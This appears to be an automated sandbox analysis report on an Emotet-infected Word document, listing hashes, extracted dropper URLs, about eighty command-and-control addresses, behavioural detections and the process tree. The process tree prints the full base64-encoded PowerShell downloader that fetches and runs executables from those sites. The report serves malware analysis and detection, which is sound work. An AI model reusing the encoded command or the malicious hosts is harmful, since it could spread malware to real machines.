Analysis
- max time kernel
150s - max time network
141s - platform
windows10_x64 - resource
win10 - submitted
13/08/2020, 21:55
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e3_a9828c026e45fa8a82d75ec9ad78970c1e5664d13306a3b4e5b501450fa97e9e_2020-08-13__215331._doc.doc
Resource
win7v200722
General
- Target emotet_e3_a9828c026e45fa8a82d75ec9ad78970c1e5664d13306a3b4e5b501450fa97e9e_2020-08-13__215331._doc.doc
- Size 228KB
- Sample200813-btmy53s95a
- SHA256 a9828c026e45fa8a82d75ec9ad78970c1e5664d13306a3b4e5b501450fa97e9e
- MD5 77115acd8127ce09b964720792b30b1a
- SHA1 f75524db6a60ec6ce7af55c22ece774cb8ba4c54
- SHA512 3f47a879840fb006374b4b021e14e76a14175a91241b49accf94d24203eab76d911f84982875e67646e3fa11f78f64629aab1c55dec7886b30577e876d1c9b7b
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
-
exe.dropper
https://bisisahabatpetani.com/wp-admin/XwhDFsQyx/
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exe.dropper
https://coolcomputers.info/git/05Prdao1p74/
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exe.dropper
http://simulations.org/rw_common/ZPdjx/
-
exe.dropper
http://subwaynut.com/scgi-bin/PPBMmwRY/
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exe.dropper
https://fitsaude.com.br/image/y5ejrhg539799/
Extracted
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emotet
-
66.61.94.36:80
-
159.203.232.29:8080
-
185.86.148.68:443
-
74.208.173.91:8080
-
37.70.131.107:80
-
212.156.133.218:80
-
81.17.93.134:80
-
203.153.216.182:7080
-
115.79.195.246:80
-
115.165.3.213:80
-
216.75.37.196:8080
-
81.214.253.80:443
-
192.241.220.183:8080
-
172.96.190.154:8080
-
195.201.56.70:8080
-
105.213.67.88:80
-
50.116.78.109:8080
-
188.166.25.84:8080
-
187.64.128.197:80
-
198.57.203.63:8080
-
179.5.118.12:80
-
201.213.177.139:80
-
153.220.182.49:80
-
185.208.226.142:8080
-
192.163.221.191:8080
-
37.46.129.215:8080
-
75.127.14.170:8080
-
41.185.29.128:8080
-
91.83.93.103:443
-
51.38.201.19:7080
-
78.188.170.128:80
-
113.160.180.109:80
-
217.199.160.224:8080
-
190.190.15.20:80
-
188.251.213.180:443
-
203.153.216.178:7080
-
182.187.139.200:8080
-
177.37.81.212:443
-
181.164.110.7:80
-
172.105.78.244:8080
-
212.112.113.235:80
-
78.189.60.109:443
-
176.9.93.82:7080
-
201.235.10.215:80
-
188.0.135.237:80
-
92.24.51.238:80
-
143.95.101.72:8080
-
163.172.107.70:8080
-
87.106.231.60:8080
-
197.83.232.19:80
-
31.146.61.34:80
-
5.79.70.250:8080
-
182.176.95.147:80
-
190.212.140.6:80
-
177.144.130.105:443
-
46.32.229.152:8080
-
185.142.236.163:443
-
115.78.11.155:80
-
87.252.100.28:80
-
202.5.47.71:80
-
181.113.229.139:443
-
77.74.78.80:443
-
181.134.9.162:80
-
105.209.235.113:8080
-
157.7.164.178:8081
-
178.33.167.120:8080
-
46.105.131.68:8080
-
139.99.157.213:8080
-
177.32.8.85:80
-
139.59.12.63:8080
-
192.210.217.94:8080
-
75.139.38.211:80
-
113.161.148.81:80
-
107.161.30.122:8080
-
190.164.75.175:80
-
181.167.35.84:80
-
97.104.107.190:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3688 1816 powersheLL.exe 68 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/1424-14-0x0000000002480000-0x000000000248C000-memory.dmp emotet behavioral2/memory/1424-14-0x0000000002480000-0x000000000248C000-memory.dmp emotet behavioral2/memory/3860-17-0x0000000002280000-0x000000000228C000-memory.dmp emotet behavioral2/memory/3860-17-0x0000000002280000-0x000000000228C000-memory.dmp emotet - Blacklisted process makes network request 2 IoCs
flow pid Process 6 3688 powersheLL.exe 8 3688 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 1424 Mlvx.exe 3860 PeopleAPIs.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\storage\PeopleAPIs.exe Mlvx.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3068 WINWORD.EXE 3068 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 3688 powersheLL.exe 3688 powersheLL.exe 3688 powersheLL.exe 3860 PeopleAPIs.exe 3860 PeopleAPIs.exe 3860 PeopleAPIs.exe 3860 PeopleAPIs.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3688 powersheLL.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3068 WINWORD.EXE 3068 WINWORD.EXE 3068 WINWORD.EXE 3068 WINWORD.EXE 3068 WINWORD.EXE 3068 WINWORD.EXE 3068 WINWORD.EXE 3068 WINWORD.EXE 3068 WINWORD.EXE 1424 Mlvx.exe 1424 Mlvx.exe 3860 PeopleAPIs.exe 3860 PeopleAPIs.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3688 wrote to memory of 1424 3688 powersheLL.exe 75 PID 3688 wrote to memory of 1424 3688 powersheLL.exe 75 PID 3688 wrote to memory of 1424 3688 powersheLL.exe 75 PID 1424 wrote to memory of 3860 1424 Mlvx.exe 76 PID 1424 wrote to memory of 3860 1424 Mlvx.exe 76 PID 1424 wrote to memory of 3860 1424 Mlvx.exe 76
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_a9828c026e45fa8a82d75ec9ad78970c1e5664d13306a3b4e5b501450fa97e9e_2020-08-13__215331._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3068
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABKAEIAUABHAEgAcQBlAGEAPQAnAEsARQBJAEUASwByAHkAYgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYABjAFUAcgBJAFQAeQBwAGAAUgBgAG8AdABPAGAAQwBvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABKAEQATABGAEUAZABuAGsAIAA9ACAAJwBNAGwAdgB4ACcAOwAkAFkAUABQAFUAUABpAGoAcQA9ACcAVgBXAFQARwBPAHAAYwB6ACcAOwAkAEkASABCAFUAQgBlAHAAawA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcACcAKwAkAEoARABMAEYARQBkAG4AawArACcALgBlAHgAZQAnADsAJABQAEEAVgBFAEcAcgBlAHMAPQAnAEgAQwBSAEIAUAB4AG4AYwAnADsAJABOAFAAVQBCAEcAZQBrAHQAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQBUAC4AVwBlAEIAYwBsAEkAZQBOAHQAOwAkAFAAWQBBAE8AQQBwAGQAcwA9ACcAaAB0AHQAcABzADoALwAvAGIAaQBzAGkAcwBhAGgAYQBiAGEAdABwAGUAdABhAG4AaQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AWAB3AGgARABGAHMAUQB5AHgALwAqAGgAdAB0AHAAcwA6AC8ALwBjAG8AbwBsAGMAbwBtAHAAdQB0AGUAcgBzAC4AaQBuAGYAbwAvAGcAaQB0AC8AMAA1AFAAcgBkAGEAbwAxAHAANwA0AC8AKgBoAHQAdABwADoALwAvAHMAaQBtAHUAbABhAHQAaQBvAG4AcwAuAG8AcgBnAC8AcgB3AF8AYwBvAG0AbQBvAG4ALwBaAFAAZABqAHgALwAqAGgAdAB0AHAAOgAvAC8AcwB1AGIAdwBhAHkAbgB1AHQALgBjAG8AbQAvAHMAYwBnAGkALQBiAGkAbgAvAFAAUABCAE0AbQB3AFIAWQAvACoAaAB0AHQAcABzADoALwAvAGYAaQB0AHMAYQB1AGQAZQAuAGMAbwBtAC4AYgByAC8AaQBtAGEAZwBlAC8AeQA1AGUAagByAGgAZwA1ADMAOQA3ADkAOQAvACcALgAiAHMAUABgAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUQBOAEIAVgBSAHMAbQBpAD0AJwBLAEQAQwBJAFoAbQBiAGYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAE8AVQBCAEoARwBwAHEAcAAgAGkAbgAgACQAUABZAEEATwBBAHAAZABzACkAewB0AHIAeQB7ACQATgBQAFUAQgBHAGUAawB0AC4AIgBkAG8AVwBgAE4ATABvAEEAZABgAEYASQBgAEwAZQAiACgAJABPAFUAQgBKAEcAcABxAHAALAAgACQASQBIAEIAVQBCAGUAcABrACkAOwAkAEEAVABKAFkAUAB3AG4AYgA9ACcASABVAEcAVwBUAG0AcABsACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQASQBIAEIAVQBCAGUAcABrACkALgAiAGwARQBgAE4AZwB0AGgAIgAgAC0AZwBlACAAMgA5ADQANAA5ACkAIAB7AC4AKAAnAEkAJwArACcAbgB2AG8AawBlAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAEkASABCAFUAQgBlAHAAawApADsAJABUAEoAQwBTAFkAZQB0AHAAPQAnAFkARABFAFoASgBhAG4AaQAnADsAYgByAGUAYQBrADsAJABTAFgARgBJAFAAZQBlAG8APQAnAE8ASwBRAFQATgB6AHQAbQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAEIATABVAFcAaAB2AGQAPQAnAEMAVQBYAFYARgBkAHgAdAAnAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3688 -
C:\Users\Admin\AppData\Local\Temp\Mlvx.exe"C:\Users\Admin\AppData\Local\Temp\Mlvx.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1424 -
C:\Windows\SysWOW64\storage\PeopleAPIs.exe"C:\Windows\SysWOW64\storage\PeopleAPIs.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3860
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